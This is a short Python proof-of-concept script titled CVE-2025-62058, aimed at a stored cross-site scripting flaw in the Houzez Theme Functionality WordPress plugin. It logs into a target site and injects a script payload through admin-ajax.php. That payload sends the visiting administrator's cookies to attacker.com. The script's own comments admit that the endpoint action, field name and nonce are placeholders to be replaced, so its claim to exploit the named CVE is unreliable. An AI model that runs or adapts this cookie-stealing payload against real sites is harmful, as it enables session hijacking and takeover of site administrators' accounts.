CVE-2025-62058

import requests import re # CVE-2025-62058 PoC - Stored XSS in Houzez Theme Functionality Plugin # Target: WordPress site with Houzez Theme Functionality plugin < 4.2.0 target_url = "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Inject XSS payload via plugin's vulnerable input field # The exact vulnerable parameter depends on the specific functionality xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" vulnerable_endpoint = f"{target_url}/wp-admin/admin-ajax.php" inject_data = { "action": "houzez_save_functionality", "houzez_field_name": "search_placeholder", "houzez_field_value": xss_payload, "security_nonce": "extracted_nonce_here" } response = session.post(vulnerable_endpoint, data=inject_data) # Step 3: Verify the XSS is stored and reflected # When admin visits the affected page, the script will execute print(f"XSS payload sent. Check admin panel for execution.") print(f"Response status: {response.status_code}") # Note: Replace 'search_placeholder' and 'houzez_save_functionality' # with the actual vulnerable parameter names identified during testing

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